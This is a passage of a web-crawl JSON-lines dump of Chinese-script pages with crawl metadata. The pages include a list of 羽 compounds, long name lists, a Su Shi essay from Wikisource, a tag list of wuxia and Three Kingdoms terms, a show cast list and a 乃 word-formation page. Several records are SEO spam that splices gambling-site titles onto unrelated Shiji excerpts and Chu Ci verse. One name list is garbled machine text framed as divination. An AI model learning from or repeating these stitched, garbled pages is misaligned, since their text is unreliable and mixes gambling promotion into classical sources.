沙羽 珍羽 戢羽 雉羽 銜羽 羈羽 弱羽 全羽 染羽 沈羽 繡羽 八羽 反羽 箭羽 順羽 螽羽 旄羽 縞羽 酌羽 輕羽 家羽 決羽 鹓羽 鷲羽 刷羽 鴳羽 簇羽 絨羽 宿羽 還羽 鮮羽 鴆羽 嚼羽 斗羽 犧羽 璧羽 積羽 突羽 養羽 馴羽 蝣羽 大羽 簉羽 毳羽 尾羽 銅羽 鵲羽 楛羽 討羽 滯羽 貂羽 車羽 調羽 怪羽 脫羽 欺羽 掉羽 豺羽 便羽。\n本文到此分享完畢,希望對大家有所幫助。","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.thenicolehampton.com\/qyjx\/202302\/1772917.html","date":"2023-06-05T16:05:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652149.61\/warc\/CC-MAIN-20230605153700-20230605183700-00094.warc.gz","language":"lzh","language_score":0.9974829555,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.99748295545578}","num_words":239,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.322,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n2016-07-02展开全部李殷行 李骏 李礼润 李歆秋 李勋 李嵘 李隽东 李松 李祥徽 李柠富 李亦涵 李柏军 李晓鑫 李军 李杰 李亦 李绎刚 李诚辉 李强 李明 李思俐 李恩轩 李瑞潼 李文欣 李林 李军周 李志波 李毓东 李清囡 李瑞澄 李宗 李瀚宇 李志霖 李俊民 李轩 李钟其 李聿乐 李起德 李宏黛 李新平 李宸 李革璋 李懿彧 李满林 李杲远 李劲明 李欣瑞 李剑 李茁志 李玉昊 李伯 李麒福 李啸恬 李唯彦 李家臣\n李淑忆 李释美 李笑欣 李映涵 李奕咏 李娜 李文玲 李鹤非 李红瑞 李睿寒 李雅双 李苏华 李源 李雅平 李蕾 李茜 李丹璇 李朝媛 李恣华 李已雅 李卫瑷 李慧楠 李艺鸣 李莹杰 李雯东 李惠辉 李馨英 李艺美 李李君 李青徽 李释扬 李福诺 李 李沁 李博玛 李兰凡 李兰琼 李旭瑶 李凤淇 李博萍 李凯芳 李倚婷 李佳敏 李希 李韵倾 李金文 李千微 李星晴 李丽蕾 李海惠 李玥彤 李灵平 李茜呈 李洲月 李范红 李江彤 李承 李笑东 李嘉文 李霏荣 李涵玥 李淳冉 李鸣白 李潇才 李苗芳 李秋盈 李涟慧 李梓 李建宜今晚六彩现场开奖结果,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/meiyoule8.com\/80623\/267.html","date":"2019-07-21T21:53:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527204.71\/warc\/CC-MAIN-20190721205413-20190721231413-00002.warc.gz","language":"lzh","language_score":0.4901664555,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49016645550727844, \"nan_Hani_score\": 0.3686020076274872, \"cmn_Hani_score\": 0.13859498500823975}","num_words":125,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.522,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張厚之忠甫字說\n張厚之忠甫,樂全先生子也。美才而好學,信道而篤誌,先生名之曰恕,而其客蘇軾子瞻和仲推先生之意,字之曰厚之,又曰忠甫。且告之曰:事有近而用遠,言有約而義博者,渴必飲,饑必食,食必五谷,飲必水。此夫婦之愚所共知,而聖人之智所不能易也。一言而可以終身行之者,恕也。仁者得之而後仁,智者得之而後智。施於君臣父子夫婦朋友之間,無所適而不可,是饑渴飲食之道也。故曾子曰:「夫子之道,忠恕而已矣。」而孔子亦曰:「如有周公之才之美,使驕且吝,其余不足觀也已。」夫驕且吝,豈非不恕而已乎?人而能恕也,雖孔子可庶幾;人而不能恕,雖周公不足觀也。先生之所以遺子者至矣,吾不能加豪末於此矣。然而曾子謂之忠恕,詩人謂之忠厚。以吾觀之,忠與恕與厚,是三言者,聖人之所謂一道也。或謂之谷,或謂之米,或謂之飯,此豈二物也哉?然謂谷米謂米飯則不可。故吾願子貫三言而並佩之。將有為也,將有言也,必反而求之曰:「吾未恕乎?未厚乎?未忠乎?」自反而恕矣,厚矣,忠矣,然後從之。此孔子、曾子、詩人之意也,先生之意也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%BC%B5%E5%8E%9A%E4%B9%8B%E5%BF%A0%E7%94%AB%E5%AD%97%E8%AA%AA","date":"2019-09-21T13:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574501.78\/warc\/CC-MAIN-20190921125334-20190921151334-00258.warc.gz","language":"lzh","language_score":0.4841614366,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4841614365577698, \"cmn_Hani_score\": 0.4452246129512787, \"nan_Hani_score\": 0.04136442020535469, \"wuu_Hani_score\": 0.018223730847239494}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":1} +{"text":"永利集团外媒土耳其军队撤离叙利亚多处驻地并烧毁阵地\n九年,赵攻燕,取貍阳城。兵未罢,秦攻鄴,拔之。悼襄王卒,子幽缪王迁立。\n魏悼子徙治霍。生魏绛。\n天子既下缗钱令而尊卜式,百姓终莫分财佐县官,於是告缗钱纵矣。\n自中丁以来,废适而更立诸弟子,弟子或争相代立,比九世乱,於是诸侯莫朝。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.njflhs.com\/vivo\/TEDSA59458.html","date":"2020-02-26T06:43:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146187.93\/warc\/CC-MAIN-20200226054316-20200226084316-00408.warc.gz","language":"lzh","language_score":0.640339911,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6403399109840393, \"cmn_Hani_score\": 0.15429329872131348, \"nan_Hani_score\": 0.1345241218805313, \"yue_Hani_score\": 0.018334487453103065, \"jpn_Jpan_score\": 0.017294324934482574}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.572,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n雙尖軟矛 鮑三娘 急風十三刺 阿青 碧血劍 伏養氣功 黃皓專權 宗預 王元姬 陳宮 大唐雙龍傳 銀雕 黃藥師 古墓派 張翼 大人物 魏滅蜀之戰 折花百式 覆雨翻雲 曹仁 紫霞神功 合肥之戰 冷月寶刀 曹真 屯田制 姑蘇慕容 的盧 不死七幻 玄鐵劍法 阿九 霍青桐 少林三渡 炎元真氣 少林神拳 達爾巴 江南七怪 方怡 林平之 左手刀法 俠客行 歸藏鞭 尹克西 赤壁之戰 曹丕篡漢 曹操攻徐州之戰 魅影身法 絕代雙驕 蒼穹神劍 天地明環 張飛 桃根仙 鍾繇 張遼 鐵騎快劍 男人見不得 金蛇劍 陸遜 梵我如一 成昆 玉女媚術 石田三成 段正明 鄧艾 司馬昭弒君 遊俠錄 移玉大法 儀琳 穿雲劍法 大拍手 空綁術 官渡之戰 玉女劍法 小鷹爪功 不碎金剛 八賢王 徐榮 翔鷹劍法 大手印 蔣四根 峨嵋派 程英 武田信玄 諸葛亮北伐 呂蒙 甄姬 流星蝴蝶劍 天魔擊三大散招 全真教 金輪法王 柳絮劍法 七殺拳 勞德諾 馬皇后 劍氣書香 樂進 太虛勁 破精自絕大法 楚留香新傳之新月傳奇 扭轉乾坤殺手劍 瑛姑 陳到 尋秦記 夷陵之戰 馬謖 曾柔 趙志敬 慈航劍典 荊州 慕容博 月英 星际浪子 袁紹 任我行 九月鷹飛 余滄海 涼州軍劫天子 戚芳 銀龍手 蝴蝶穿花七十二式 迷蹤七變 天涯明月刀 蒼穹十三式 徐盛 左冷禪 雷霆刀法 段譽 范遙 九陽神功 雌雄雙股劍 大元丹法 覆雨劍法 華山派 楊逍 雙修大法 晉滅吳之戰 五毒教 伏虎神拳 劉禪 白骨爪 少林派 雲行雨飄 毛玠 鬼魅潛蹤 郭嘉 鎖子縮骨功 孫策平江東之戰 燕子雙飛 蕭十一郎 蔣幹 張三李四 司馬懿 幽灵山庄 歐陽鋒 華山論劍 孫權建國 射鵰三部曲 幻影劍法 曹操討伐袁術之戰 鬼火十三拍 一串鞭 定靜師太 五虎斷門刀 程靈素 七星龍王 下邳之戰 吳應熊 葵花寶典 定閒師太 岳不羣 七种武器 九轉還童 浣花洗劍錄 合淝之戰 獨孤九劍 金庸 怒劍狂花 不死印法 文醜 楊頂天 倉亭之戰 孫堅 蝶雙飛 牛郎一百零八棍 郭靖 銅錘 披風杖法 劍罡同流 硃砂掌 張無忌 蔣琬 黃忠 霍去病 天外飛仙 天地明環 羅漢伏虎拳 井中八法 嵩山派 鰲拜 廖化 飛刀,又見飛刀 五行劍法 慕容復 淑女劍 失魂引 沖虛道長 呂母 雙手互搏 趙半山 明玉功 飛龍五式 恆山派 周倉 絕不低頭 飛狐外傳 郭芙 九韶定音劍 四大惡人 夢姑 玩命拳 凌波微步 碧血洗銀槍 諸葛瞻 周伯通 第六天魔王 曹操 完顏洪烈 鴛鴦刀 彭長老 飛鶯飛鷹 吳國太 天魔手七十二式 大地飛鷹 殘金缺玉 飛鷹十三刺 謝遜 王語嫣 摩尼教 趙敏 戰神圖錄 游坦之 金錢幫 令狐沖 黃蓉 鷹變十三式 蛤蟆功 石清 鳥渡術 蕭遠山 于禁 穆念慈 九玄大法 塌上策 桃花島 五絕神功 趙雲 紫氣天羅 白世鏡 常伯志 黑白子 笑傲江湖 武當掌法 狂沙刀法 胡斐 星彩 十住大乘功 化石神功 天心蓮環 公孫止 殭屍拳 花間十二支 魔心連環 李典 打狗棒法 武夷派 李元霸 桃花仙 裘千尺 挾刀揉手 大旗英雄傳 衡山派 丞相,起風了 董允 諸葛誕 丁春秋 貂蟬 湘妃劍 關平 如意八打 神刀斬 甘寧 丐幫 曹睿 高平陵之變 君子劍 七殺手 鍾會 夏青青 夏侯霸 萬物波動心法 康敏 玄鐵重劍 五虎斷門刀 太清元功 捨身大法 豔陽刃法 圓月彎刀 西陵之戰 李莫愁 三十六招鳥啄擊法 先天氣功 汪劍通 定世鞭 譙周 桃葉仙 呂壹專權 吳三桂 合淝新城之戰 益州之戰 一扇十八搖 沙影二十八劍 李廣 賈南風 德川家康 蕭摩訶 小龍女 青龍會 鳳天南 凌統 名劍風流 蔣濟 笮融 情人箭 散手八撲 滅絕師太 劉備 移花接玉 神君別傳 朱子柳 蔡文姬 金絲綿掌 內家橫練 奪命十三劍 曹純 街亭 流雲飛袖 鄭丰 凝真九變 仇國論 天魅凝陰 霓裳仙舞 冰玄勁 白阿繡 東興之戰 十二都天神功 定逸師太 歐陽克 沉沙劍法 司馬師 挾天子 石亭之戰 樊城之戰 張郃 龐統 馮錫范 鄧芝 喬鋒 郭馬之亂 神鵰俠侶 江夏戰神 孫策 菩提心功 袁承志 橫煉罡 七傷拳 鐵脊蛇矛 水笙 公孫綠萼 荀攸 日月神教 黃天大法 周泰 夷陵之戰 白狼山之戰 郭淮 黃蓋 梅花鉤 大喬 任盈盈 劉備稱帝 瘋魔上天下地一百零七撃 左慈 群狐 法顯 黃皓 馬超 青松劍譜 法正 奪命簪 倪匡 就地十八滾 東洋神風刀法 聖火令 沐劍屏 石亭之戰 梅超風 亡神十八掌 刀劍雙殺七七四十九式 青釭劍 曹叡 韋春花 楚留香新傳 流星鎚 掩月劍法 史火龍 白自在 東方不敗 楊儀 諸葛亮 變天擊地大法 羊祜 桃枝仙 刀白鳳 無塵道長 掃地僧 奕劍術 程普 歸魂十八爪 無想奼女大法 誰來跟我乾杯 丈八蛇矛 枯木神功 南匈奴 金針開穴之法 崑崙派 仙門劍訣 刑遁術 交阯之亂 太虛錯手 夏侯淵 絕代雙驕角色列表 火併蕭十一郎 韓當 石破天 董卓 林朝英 封天閉地 破碎虚空 建寧公主 一指頭禪 陸小鳳傳奇 張召重 鍾靈 陸抗 古龍作品 換日大法 桃實仙 竹節鞭 寧中則 荀彧 阿珂 三尸腦神丹 彩環曲 飛燕七式 楚留香傳奇 靈犀一指 賈充 孫尚香 空明拳 謝煙客 回轉斧法三十式 孫曉 天一掌 越女劍 蘇荃 郭襄 太史慈 楊過 玄慈 徐天宏 神州奇俠 天山童姥 擒拿截脈法 馬岱 不戒和尚 建安文學 丞相 丁奉 御盡萬法根源智經 鍾會之亂 歸辛樹 逍遙訣 決戰前後 劍毒梅香 歡樂英雄 楊修 七流星 降龍伏虎羅漢拳 福康安 裂馬槍 玉女素心劍法 關羽 龜息功 劉表 文鴦 乾隆 九字真言手印 韋小寶 五毒神功 雙兒 奇功絕藝榜 魅影劍法 合淝之戰 心佛掌 臥龍 尉遲敬德 幻魔身法 嫁衣神功 紅花會 黃鍾公 石雙英 武林外史 劍客行 龍吟曲 水雲袖法 多情劍客無情劍 賈詡 瀟湘子 鬼王鞭 隆中對 王平 呂玲綺 余魚同 小昭 道心種魔大法 飄香劍雨 白玉老虎 關銀屏 陸無雙 魔佛十式 永安之戰 狼牙 一休 先天功 胡昭 風鈴中的刀聲 梅花鉤 碧落紅塵 駱冰 破蓮八著 阿朱 臥龍生 子貴母死 司馬昭 天龍八部 九品中正制 常赫志 姜維 蒼穹十三劍 洪七公 姜維北伐 枯榮大師 方證大師 文泰來 金丹大法 血海飄香 神蛛凌空銀絲渡虛 降龍十八掌 驚魂六記 魏延 黃權 耶律齊 黯然銷魂掌 無崖子 虛竹 屠龍刀 魏晉玄學 華山派 丁不三 太極七截棍 七禽身法 玄氣大法 大開碑手 九難 曹操迎天子 菊花的刺 齊桓公 化骨綿掌 界橋之戰 陳近南 狄雲 鐵蒺藜骨朵 神龍教 無想十法 軟蝟甲 藍鳳凰 風清揚 丁典 黃祖 炎陽奇功 青龍偃月刀 倚天屠龍記 張春華 空城計 燎原百擊 徐晃 海神 崆峒派 荊楚爭雄記 連體心法 關興 易京之戰 血戰十式 費禕 張苞 星宿派 呂后 練師 桃幹仙 月異星邪 碎金剛乘 黑鬼爪 二宮之爭 東興之戰 段正淳 呂布爭徐州 武三通 康熙 禿筆翁 古龍 魯有腳 魏滅蜀之戰 無念禪功 傻姑 李牧 天魔大法 天外流星 全真七子 紫血大法 周芷若 夏姬 劍玄錄 四大名捕 孤星傳 燕子三抄水 夏侯嬰 陳家洛 九陰真經 丹心術 楚留香新傳之蝙蝠傳奇 逍遙派 孫皓暴政 雪山飛狐 興勢之戰 郭解 龍門鏢局 祝融 上官鼎 九陽真經 于萬亭 斷絕神功 韓小瑩 嫁衣神功 夏侯惇 北冥神功 華陀針 吸星大法 風萍掌 奼女心法 蕭逸 李秋水 嵩山十三太保 尉遲恭 滿寵 泰山派 南皮之戰 天鷹教 藏密智能書 張三丰 朱然 袖裡乾坤 諸葛恪 逍遙拆 漢中之戰 儀琳 徐庶 大武俠時代 賭局 劍花煙雨江南 鴛鴦腿 英雄無淚 吳六奇 曹丕 五嶽劍派 楊康 丹青生 孟獲 六脈神劍 一燈大師 九轉無相神功 白馬嘯西風 梁羽生 岳靈珊 金剛門 兵器譜 邊城浪子 紫微軟劍 張大春 織女劍法 阿紫 摘心手 滿地開花八十—式 桃谷六仙 王重陽 五帝鐧 曹休 馬大元 西蜀地形圖 閔柔 許褚 青城派 溫瑞安 潼關之戰 霍都 碧海潮生曲 達摩手 壽春三叛 伊達政宗 丁璫 木婉清 護花鈴 丁不四 心硯 無相神功 曹爽專權 彼岸劍訣 博望坡之戰 章進 明珠 石中玉 長河正氣 日月當空 清風十三式 諸葛亮南征 連城訣 武當七俠 洪承疇 羅憲 莫大先生 白萬劍 枯禪玄功 海大富 絕情谷 飛天狐狸 迎風一刀斬 書劍恩仇錄 呂布 種玉大法 血鸚鵡 大圓滿杖法 辟邪劍法 索額圖 鹿鼎記 起風了 滅神掌 倚天劍 曹洪 裘千仞 楚留香新傳之借屍還魂 林遠圖 周瑜 楊成協 七十二路分筋錯骨手 典韋 地煞拳 衛春華 伏魔劍法 鳩摩智 吳起 金蛇郎君 吳質 方天畫戟 逆水寒 三少爺的劍 張角 關索 龍木島主 魯肅 旋風十八矛 死眷術 壽春馳援 長平公主 飛伏一百零八槍 孫權 曹丕伐吳 日月麗天大法 武當派 大意失荊州 韋小寶 邊荒傳說 天魔心法 馬忠 田伯光 流星鎚 陽頂天 貝海石 魅變術 小喬 飛龍大九式 滿天花雨 布衣神相 龐德 王異 孫皓 尼摩星 韋一笑 衛青 烏金血劍 殷離 童子功十三太保橫練 彈指神通 暴雨梨花釘 袁紫衣 董卓討伐戰","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2020-10-25T02:14:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885126.36\/warc\/CC-MAIN-20201025012538-20201025042538-00458.warc.gz","language":"lzh","language_score":0.5900563598,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900563597679138, \"nan_Hani_score\": 0.25269562005996704, \"cmn_Hani_score\": 0.12175019085407257, \"yue_Hani_score\": 0.0329606831073761}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n綜藝《2021笑贏這一年喜劇春晚》由楊迪 李雪琴 姜昆 朱時茂 潘長江 宋小寶 郭冬臨 THE9 安崎 黃明昊 劉謙 黃聖依 韓雪 乃萬 楊樹林 婁藝瀟 檀健次 印小天 傅菁 毛毛 畢暢 常遠 鳳凰傳奇 高赫迪 郭亮 關鵬 高秋梓 葛姍姍 郭陽 胡可 黃齡 韓宇 霍雲龍 金靖 李戈 李澤生 苗阜 穆童 陳妍臻 那吾克熱·玉素甫江 潘斌龍 潘陽 宋冠澎 單依純 田娃 王成思 王龍 王聲 王小寶 王小虎 小超越 朱星澎 小雞 雪梨(淘寶主播) 楊安迪 楊安麟 伊麗媛 楊子 張可 張檬 臧威 張藝瀚 等主演,陳學武 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/102882.html","date":"2021-02-26T18:38:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178357935.29\/warc\/CC-MAIN-20210226175238-20210226205238-00516.warc.gz","language":"lzh","language_score":0.4337953031,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.433795303106308, \"cmn_Hani_score\": 0.32924818992614746, \"nan_Hani_score\": 0.22991317510604858}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.289,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":1} +{"text":"首页 在线组词 在线组词关键字 \"乃\"字在开头的词语乃者 乃情 乃若 乃才 乃堂 乃往 乃翁 乃昔 乃心 乃在 乃至 乃蛮 乃其 乃是 乃老 乃郎 乃尔 乃可 乃眷 乃今 乃公 乃父。组词乃母乃兄宋陆游〈示儿〉诗王师北定中原日,家祭无忘告乃翁代词 他他的周礼天官小宰各修乃职动词 是组词失败乃成功之。最佳答案 乃字组词二字词语乃至乃是至乃到乃此乃既乃便乃已乃非乃乃若亦乃尔乃顾乃乃者何乃乃比禾乃不乃来乃乃耳若乃乃纔 更多关于乃的组词的问题。\n有关乃字组词的词语列表 乃的组词 乃怎么组词 乃的多音字组词 乃字组词 乃尔乃在乃可丕乃乃耳乃眷乃是乃翁乃往乃诚乃老况乃来乃尔乃便乃毋乃。最佳答案 妙趣汉字屋 更多关于乃的组词的问题。乃组词 1乃是才今得之 2乃祖指祖父的父亲 3乃遂于是就 4乃兄你哥,他哥 5乃尔犹言如此 6乃今而今方今如今 7乃其于是就 8。\n乃迁组词对吗\n首页 组词 乃组词 乃字组词◎ 乃字在前面的词语乃公 乃今 乃是 乃眷 乃堂 乃才 乃可 乃往 乃纔 乃郎 乃翁 乃诚 乃老 乃昔 乃尔 乃蛮 乃心 乃耳 乃其 乃在 乃父 乃情 乃。55乃老 56高乃依 57时穷节乃见 58乃往 59乃若 60乃其 61焉乃 乃组词987html 乃组。平山冷燕第三回\"小女此扇,乃是草书,故此飞快\" 鲁迅 且介亭杂文·病后杂谈之余关于\"舒愤懑\"\"大家早忘却了血史,反以为全留乃是长毛,全剃好象和尚\" 乃是。","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/fneng.cn\/baike\/67569.html","date":"2022-08-19T04:23:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573623.4\/warc\/CC-MAIN-20220819035957-20220819065957-00105.warc.gz","language":"lzh","language_score":0.8396643996,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8396643996238708, \"cmn_Hani_score\": 0.11206699162721634, \"nan_Hani_score\": 0.030790455639362335, \"wuu_Hani_score\": 0.012569284997880459}","num_words":83,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.866,"perplexity_score":500.0,"cluster_detection":1} +{"text":"情绪:以下解释仅供参考。,未必剖析不得直系的应用。\n田一龄 田雨朱 田雪玉 韩天林 田雨向 田雨向 天橙 田松林 田孙然 天田跑 天田跑 田雅珍 田倩锁 Tien Chi卡 田学智 田舒砚 田淑琴 田淑琴 吴天舒 田原平 田原许 李天沙 田丽沙 田淑蓉 田淑蓉 田福荣 田雨戎 林天义 田一英 田俊再 田应文 田伟红 天水美 田荣戎 田伟峰 田天英 姚天凡 田原梅 田震平 田向玲 陆天文 田文荣 田华荣 田一龄 苏天金 田燕桥 田一文 田子菊 田通峰 李天健 田安英 田成宏 田春文 田丽扇 田明宇 田伟荣 田璞芳 秦天红 田雅英 田玲婵 田席玲 田燕仪 田娅希 田露英 田绕梅 田润琳 田一然 田树尧 田婵跑 田婵君 田连英 田连英 田使断念 田岳飞 田志宇 田丹梅 田英玲 田艳菊 田伟宇 田红晶 田跃炎 田乐燕 田岳坚 田跃荣 田岳元 田启炎 田启炎 田树尧 田树尧 田重文 田云亭 田春英 田润杰 田雨亭 田大岩 田振英 田淑菊 田署娟 田延琼 田绵梅 田新梅 田丽李 薛天伟 田燕玉 田原梅 文天生 田平平 田雨夏 田梦雪 田丽李 田傅莹 田庆文 田一芳 田雨余 田爱文 田燕新 田顺钦 田友芳 田庆龄 田杨艺 田荣汉 田子玉 田天英 景甜肖 肖天英 田学杰 田雪英 田明岳 田启英 田淑英 田一丹 林天雪 田雪玉 田金岳 田雨余 田一玉 田天燕 田墨琳 田琳墨 田依琳 田茹熙 田茹莫 田茹秀 田洪玲 田爱琼 田许燕 田怡鸣 田翠霞 田海玉 田慧颖 三七妹 田玮琳 田跃玲 田希文 田永亭 田永文 苏天平 田向梅 田恒文 应低于标准杆数两杆 姚天岳 田满龄 田叶文 田丽姚 姚天木 田一文 田应文 田子平 田一文 田林英 天岳宁 田代然 田万荣 田丽袁 田齐芳 田荣梅 田荣镁 田谢文 田恒英 田万林 田乾红 田绪文 田涛岭 田陶婷 田陶莹 田美美 景甜梅 景甜姚 姚天义 田铭瑶 田钰瑶 田玉瑶 田蛟文 田熙玉 田超文 田夏琳 田萧琳 田小林 田庆红 田家玉 田一京 田莉瑛 田慧霞 田相婷 田静梅 田秀婧 田宝义 田成芳 田菊芳 田社玉 田雨居 田雨居 田雨居 田社玉 田丽薛 田恒恒 朱天英 田天田 田原一 田雨向 田雨向 高深莫测的事物顺 高深莫测的事物训 田林静 田来祥 田甜甜 田天田 林天清 苏天信 田新岳 田木玲 田景英 田木林 林天勤 林天林 林天林 田林梅 梅天玲 梅天玲 田杨梅 田雨梅 田云美 田云美 田一美 田一美 田燕梅 田燕梅 田燕梅 田美梅 田惠美 田子美 田社美 田美美 天水美 田新梅 田美红 田小梅 田万英 田新英 应低于标准杆数两杆 田彬英 田淑婷 田淑婷 景甜新 田一美 田春平 普坦军 钱天军 田雨军 钱天喜 田雅玲 田雅玲 田雅玲 田明红 田新亭 田新亭 田新亭 林天雅 田红梅 田红梅 田红梅 田红梅 林天勤 田凌飞 田义谦 田永杰 田韩瑜 田跃荣 田前西安 田子琴 田萧潇 田小丽 薛天云 田惠美 田惠英 田惠益 田燕辉 薛天燕 田岳美 田启美 任天义 田一山 金天义 薛天辉 田广雪 天兴学 薛雪雪 薛天梅 薛天丹 田中雪 田新婵 田玲鸟 田凌峰 景甜袁 田丽戎 田原余 金天燕 景甜红 景甜红 田喜燕 田伟霞 田广宇 田跃月 田双燕 田跃华 田海亭 姚天勤\n华谊占卜网情绪您:不介意机遇是非,不要喜悦或泄气,令人愉快的的报答是坏机遇。,坏机遇是过来的好机遇,做好事是好运的根底。。(转载请选出-huayi.com:)","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.toitai.com\/365tybywz\/2188.html","date":"2019-07-20T20:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526670.1\/warc\/CC-MAIN-20190720194009-20190720220009-00357.warc.gz","language":"lzh","language_score":0.9646931887,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9646931886672974, \"cmn_Hani_score\": 0.01977437734603882}","num_words":330,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大满贯电玩城下载国家邮政局预计4月快递行业全面走出疫情阴霾\n武灵王元年,阳文君赵豹相。梁襄王与太子嗣,韩宣王与太子仓来朝信宫。武灵王少,未能听政,博闻师三人,左右司过三人。及听政,先问先王贵臣肥义,加其秩;国三老年八十,月致其礼。\n三十年,真公卒,弟敖立,是为武公。\n田常言於齐平公曰:\"德施人之所欲,君其行之;刑罚人之所恶,臣请行之。\"行之五年,齐国之政皆归田常。田常於是尽诛鲍、晏、监止及公族之彊者,而割齐自安平以东至琅邪,自为封邑。封邑大於平公之所食。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞\n罕父黑字子索。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/7ee.szomo.cn\/appqhqxy\/1855597.html","date":"2020-04-06T01:01:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371612531.68\/warc\/CC-MAIN-20200406004220-20200406034720-00522.warc.gz","language":"lzh","language_score":0.5984027982,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5984027981758118, \"cmn_Hani_score\": 0.1738930195569992, \"nan_Hani_score\": 0.1301189661026001, \"yue_Hani_score\": 0.015649307519197464, \"jpn_Jpan_score\": 0.012207666411995888}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":500.0,"cluster_detection":1} 